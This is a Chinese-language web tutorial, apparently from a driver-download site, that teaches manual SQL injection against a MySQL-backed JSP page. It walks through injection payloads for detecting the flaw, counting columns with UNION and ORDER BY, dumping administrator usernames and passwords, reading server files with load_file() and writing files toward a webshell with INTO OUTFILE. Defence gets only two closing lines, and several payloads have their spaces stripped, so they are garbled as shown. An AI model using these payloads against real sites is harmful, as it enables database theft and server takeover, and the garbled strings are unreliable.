驱动管家:安全、高效、精准的专业驱动下载站!

如何使用手工注入mysql数据库?利用网站漏洞

2018-03-03 18:21:54责编:llp   来源:驱动管家     人气:

下面我将介绍如何使用手工注入MYSQL,MSSQL数据库.

一般漏洞产生的原因 : 程序执行中未对敏感字符进行过滤,使得攻击者传入恶意字符串与结构化数据查询语句合并,并且执行恶意代码.

创建text数据表MYSQL代码:

如何使用手工注入mysql数据库?利用网站漏洞

2.漏洞的利用

这个就是数据库里的记录了.以后黄色为关键语句,红色为输入的部分.

大家注意看resultSet = statment.executeQuery("select * from account where accountId = '"+ request.getParameter("id") +"'");

这里的request.getParameter("id") 是获取GET传参的id 参数,也就是mysqlInject.jsp?id=1 这里的id. 这样这个SQL语句就变成了select * from account where accountId =

'1' 了.如果加以变换呢?

2.1漏洞的检测

我们把id 写成mysqlInject.jsp?id=1' 那么SQL 语句就变成select * from account where accountId = '1'' 了,这样的话SQL语句就会报错,因为SQL语句的值是需要2个包含

符号,比如’和”如果只是数字可以什么都不写.如果不报错的话就说明程序替换,过滤或者其他方法来防护了.那么我们可以继续来测验, mysqlInject.jsp?id=1' and ''=' 那么

SQL语句就变成了select * from account where accountId = '1' and '' = '' ,应该返回正常.有些人说我的为什么返回不正常呢? 有2种原因,第一是程序把恶意字符过滤了;第

二是程序的语句和我写的不一样select * from account where accountId = 1' and ''='. 这个问题在下边会谈到.

2.2 Union查询猜此次查询列的数量

这里有的人会说猜此次查询列的数量有什么用?如果只是检测当然没有,但是你想进一步的利用那么就有大的用处了,文章后边会讲到的,耐心.如果懂SQL的人应该知道UNION查询

吧?UNION查询就是联合查询,执行第二条查询语句将返回值和本次查询合并.

大家想想,如果要和本次查询值合并需要一个什么条件呢?需要联合查询的列数和此次查询的列数相等.如果不想等的话就会无法合并,那么就会报错.通过这一特点聪明的你应

该会想出这么才列数了吧?

那么我们要的就是使得UNION查询出来的列数与本次查询出来的列数相等.也就是说不报错就会相等.

先从第一列开始猜,那么要把这个语句union select 1构造在地址程序的语句当中.那么语句就是mysqlInject.jsp?id=1' and union select 1 and ''=' 这样的.有些人问为什么后

边(绿色的部分)要加上and ''=' 呢? 也许大家记了吧,我们的SQL语句是需要两个包含符号的,语句select * from account where accountId = '1' 我们输入的是在1那个位置,所

以要去除后边的',否则语句会报错的.在本程序里也就是' 如果你要想消除' 有很多办法,为了让大家明白所以我现在使用and ''='.先说一说有几种办法消除这个'

1. 使用 and '' = ' 虽然不够方便,但是在复杂SQL语句里不会报错的.

2. 使用注释 # 或者 , 这样可以把后面的东西全部注释掉,但是有一个大问题,就是在执行复杂SQL语句的时候有可能会报错.

有些人测试,咦?为什么我加了#还是会报错呢?因为本次是使用GET传参,在地址栏传参.大家想想,当初下载带#名称的数据库是什么样子呢?哦,对了,#是地址栏的结束符,就是说#

包括#以后的字符全部不传入.所以#在GET模式下注入注入不起作用.

那么有些工具写的在构造注射的时候为什么是mysqlInject.jsp?id=1'andunionselect1and''= '/* 呢? 因为在程序里边有函数可以把传入

参数里面的空格去除,如果去除了空格,将会是程序产生了错误的语句,那么就会一直报错了.所以有些工具就是用这种东西来取代空格了.那 又是什么呢? 是一种注

释,叫做文档注释,就是从 结束,中间任何代码都会成为注释,所以是程序员在写大量注释时候所使用的一种注释.那最后的/* 是什么呢? 那个是用来解决 SQL语句 包

含符号没有成双成对的.

我们开始测试.

mysqlInject.jsp?id=1 'unionselect1/*

select * from account where accountId = '1 'unionselect1/*'.

注意到最低下那句话了吗?

javax.servlet.ServletException: The used SELECT statements have a different number of columns大概意思是”这个使用的查询列数不同”,由此得出此次查询不是查询了

一个表.以此类推, select 1 select 1,2 select 1,2,3 知道正确位置,那么你现在说写的列数也就是本次查询的列数了.大家看到地下返回 1|2|3| ,这个值是从咱们的UNION

查询里合并出来的. 试试把UNION SELECT 1,2,3 换成 UNION SELECT 4,5,6 看看.地下是不是编程了 4|5|6| 了?

有人说 你都是骗人的 我怎么换,我都换到789了也没有出来,还是现实原来的数据,你骗人;我没有骗人,我也不会骗人;那为什么出不来?

有些程序写的时候只是把数据返回集合的第一行输出,但是UNION查询以后是把数据合并到此次查询以后,那么他只输出了此次查询的数据,其实UNION查询的数据也有,但是他没有输

出.那怎么办呢?聪明的人一定会想到. 啊,原来如此,只要让此次查询不输出就可以了.哈哈哈,我聪明了,可是怎么让此次查询不输出呢? 先告诉大家一个简单的方法,看看SQL语句,

我们是做过限制条件的. Where accountid = ? ,那么也就是说让这个accoundId 限制到一个没有的id 上那么不就会没有了? 心动不如行动,试试.

mysqlInject.jsp?id=1000'unionselect4,5,6/*

select * from account where accountId =1000'unionselect4,5,6/*

哈哈,果然没有了!!! 注意绿色的部分,指定查询一个没有的id ,那么他理所当然的就会蒸发了.

2.3 低几率另类猜此次查询列的数量

此方法虽然几率低一点,但是会大大减少工作量的.次方法只适用于 select * 的简易SQL语句.

这个方法是用的是 mysql 里的 order 排序. 排序是按照顺序排下来.我们来写一条SQL语句. Select * from account where accountId = '1' order by accountId 那么这个

SQL语句也就是根据 accountId 升序排序. 那么我们不知道他有什么怎么办,而且这怎么猜? 这里是关键问题. MYSQL支持列编号排序Select * from account where accountId =

'1' order by 1 这样也就是按照第一列排序.

哎呀,你又在骗我们,排序怎么猜列的数量? 那么我按照一个不存在的列排序呢? 比如第四列? 你一般身上有3个口袋,一个最多10元钱,一天吃一顿,一顿3斤米,一斤米一元,但是你今

天吃了4斤米,需要40元,你却只有3个口袋,你就没有40元,你就要挨打了.

也就是说一共有3个列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,没有第4列,出错.那么也就说明他有4列.

这种方法是根据人的经验判断的.我一般使用这个方法都会成功,就是不成功也相差不多.

2.4 使用UNION猜其他表,查询其他表

使用此方法可以查询到其他表里的内容.比如查询管理员的密码等.但是有个前题,必须道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因为MYSQL 和SQLSERVER 的系统函数不一

样,SQLSERVER 里有 SP_HELPDB 而MYSQL 里没有,所以只能猜了.

好,开始构造语句. 我们要猜看看有没有admin表.

mysqlInject.jsp?id=1'unionselect4,5,6fromadmin/*

SQL : select * from account where accountId = '1'unionselect4,5,6fromadmin/*'

如果正常的有admin表的话,那么返回是正常的,如果没有的话会报错的.大家看到了吧? 有admin 这个表,为了让大家更好的理解,我们在猜一个其他不存在的表.

mysqlInject.jsp?id=1'unionselect4,5,6fromhelloword/*

SQL : select * from account where accountId = '1'unionselect4,5,6from helloword/*'

看到了吧?没有 helloworld 这个表.所以报错了.

又问,为什么还是会写4,5,6呢? 啊哈,因为我们不知道他的列名,如果写了 * 他将会全部列出来,如果和此次查询的列不相等,那么就会报错了.所以要写一个相等的.

现在表名出来了,怎么才列名呢?哎呀,大家太聪明了,直接把4,5,6其中一个替换成列名不久行了? 那么构造出.

mysqlInject.jsp?id=1'unionselectadminId,5,6fromadmin/*

SQL : select * from account where accountId = '1'unionselectadminid,5,6fromadmin/*'

看见了吗? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出来,然后带入UNION查询中,这样就查出来管理员帐号或者密码了.现在我要把列名一次全部

带入.

mysqlInject.jsp?id=1'unionselectadminId,adminName,adminPassfromadmin/*

SQL : select * from account where accountId = '1'unionselectadminid,adminName,adminPassfromadmin/*'

出来了, 1|admin|admin| 就是 adminid|adminName|adminPass|

也可以在union 查询上限制条件,比如你知道有admin这个用户那么就构造 union select adminId,adminName,adminPass from admin where adminName = ‘admin’,看个人的

发挥了.

使用MYSQL 系统函数.

使用 load_file() 函数 显示文件.

顾名思义.就是加载文件,可不是运行啊,是显示内容,但是必须对文件拥有读取权限.我们先来构造一个显示 c:\boot.ini 文件的语句.

mysqlInject.jsp?id=1'unionselect1,load_file(0x633A5C626F6F742E696E69),3/*

SQL : select * from account where accountId = '1'unionselect1, load_file(0x633A5C626F6F742E696E69),3/*'

看到了吗? C:\boot.ini 文件的内容. 又问,为什么load_file() 里面是乱码呢? 那不是乱码,那个是C:\boot.ini 16进制编码. 因为本函数无法处理直接写的路径,只能能使用

16进制或者是 Ascii 编码.所以要将路径转换成 16进制或者是Ascii 编码才可以执行.

为什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因为啊,第一列不行,其他的都可以,第一列是一个 INT类型,一个数字类型,难道你会把你女朋友送

进男厕所吗? 呵呵.玩笑.如果是在 linux 下可以使用 / 来列目录 ,但是必须有列目录的权限.

通过load_file 可以列目录,读文件,但是遇到文件格式编码的时候也许会遇到乱码的问题. 这个问题可以这么解决. 使用 subString 函数, subString(字符串,开始,返回).

假设我们要返回第三个字符,那么就是mysqlInject.jsp?id=1'unionselect1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 这样我们就返回了第三

个字符,用于解决乱码是非常好的办法.

使用outfile 写WEBSHELL.

mysql 有一个功能,就是把查询的结果输出.就是outfile.先来构造一个简单的语句.

select ‘hello word’ into outfile ‘c:\\a.txt’ 这里是讲 ‘hello word’ 输出到 c:\a.txt

那么在网站也来构造一下.

mysqlInject.jsp?id=1'unionselect1,'hello',3intooutfile'c:\\hello.txt'/*

SQL : select * from account where accountId = '1'unionselect1, 'hello',3intooutfile’c:\\hello.txt’/*'

成功插入.但是为什么会报错呢?哦,那是因为你把数据写到文件中,返回集合什么都没有了,当然会报错了.如果你把hello 换成 一句话或者其他的,如果写入到网站目录下,那是

多么恐怖啊…

2.漏洞的防护和总结

通过过滤特殊关键字来防护.代码网站很多,我这里就不写了.

针对JAVA有一种防护措施,就是使用PreparedStatement 对象进行查询,这里也不多说了. 本文只是一个概括的讲述,如果应用到实战当中需要结合经验.

  • 什么是sql触发器?sql触发器存在后门asp版

    什么是sql触发器?sql触发器存在后门asp版

    触发器是一种特殊的存储过程,它不能被显式地调用,而是在往表中插入记录﹑更新记录或者删除记录时被自动地激活。 所以触发器可以用来实现对表实施复杂的完整性约束。SqlServer包括三种常规类型的触发器:DML触

    详情2018-01-22 09:57:49责编:llp   来源:驱动管家     
  • 有哪些密码存储方式能保证密码保存不泄露?

    有哪些密码存储方式能保证密码保存不泄露?

    密码是软件系统中非常常见的属性,密码保存和传递都需要考虑如何才能不泄漏。密码存储密码在服务器都需要加密保存,根据用途不一样,有可逆加密(AES)和非可逆加密(PBKDF2)算法。可逆加密方式存储可逆加密一般

    详情2018-02-28 15:41:21责编:llp   来源:驱动管家     
  • 企业网站的捷径处理方案导致企业网站存在安全风险

    企业网站的捷径处理方案导致企业网站存在安全风险

    如今,很多企业(包括一些安全专家)都在处理安全问题时选择所谓的捷径,这种情况令人担忧。而产生这种现象的原因很多,比知道如企业希望少花钱多办事,攻击和反攻击技术的飞速进步,以及新媒体技术和厂商推出包含

    详情2018-02-18 10:28:39责编:llp   来源:驱动管家     
  • flash安全不可忽略!新浪微博也存在cookies漏洞?

    flash安全不可忽略!新浪微博也存在cookies漏洞?

    最近突然觉得,很多FLASH开发人员在编写的时候,忽视了安全问题。被恶意利用的话,可以实现URL跳转,COOKIES盗取,甚至是蠕虫攻击。漏洞测试:IE , firefox , chrome(= = 这个输入测试代码,浏览器直接崩溃

    详情2018-01-18 09:38:30责编:llp   来源:驱动管家     
  • cors带来哪些风险?cors攻击怎么防御?

    cors带来哪些风险?cors攻击怎么防御?

    一、从SOP到CORSSOP就是Same Origin Policy同源策略,指一个域的文档或脚本,不能获取或修改另一个域的文档的属性。也就是Ajax不能跨域访问,我们之前的Web资源访问的根本策略都是建立在SOP上的。它导致很多web

    详情2018-02-06 19:34:50责编:llp   来源:驱动管家     
  • 为了网络安全,redhat linux怎么设置防火墙?

    为了网络安全,redhat linux怎么设置防火墙?

    RedHat Linux下防火墙配置技巧RedHatLinux为增加系统安全性提供了防火墙保护。防火墙存在于你的计算机和网络之间,用来判定网络中的远程用户有权访问你的计算机上的哪些资源。一个正确配置的防火墙可以极大地增

    详情2018-01-15 19:00:06责编:llp   来源:驱动管家     
  • 这里有暴力破解php mysql密码的步骤

    这里有暴力破解php mysql密码的步骤

    传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。已知有一处Bug,不清楚为何,密码数量少的时候,准确

    详情2018-01-14 21:18:45责编:llp   来源:驱动管家     
  • 网页木马有哪些攻击方式?网页木马怎么防御?

    网页木马有哪些攻击方式?网页木马怎么防御?

    常见的网页木马攻击手段有哪些?用户应该如何识别及防御来自网页木马的攻击?笔者将在本文为用户细细道来:

    详情2018-01-09 16:05:14责编:llp   来源:驱动管家     
  • 虚拟桌面是什么?传统桌面和虚拟桌面的区别

    虚拟桌面是什么?传统桌面和虚拟桌面的区别

    桌面就是您在屏幕上看到的所有内容。通常来讲,Windows只有一个桌面,如果你打开非常多的窗口,桌面就会显得纵横交错,杂乱无章,所以你需要更多的桌面。 试想一下,您在你的电脑上接上许多的显示器,这样您或许

    详情2018-01-23 20:05:48责编:llp   来源:驱动管家     
  • 学习软件破解的经验总结 软件破解学习需要了解哪些概念?

    学习软件破解的经验总结 软件破解学习需要了解哪些概念?

    下面谈到了一些在学习解密过程中经常遇到的问题,本人根据自己的经验简单给大家谈一谈。这些问题对于初学者来说常常是很需要搞明白的,根据我自己的学习经历,如果你直接照着很多破解教程去学习的话,多半都会把

    详情2018-01-21 09:42:13责编:llp   来源:驱动管家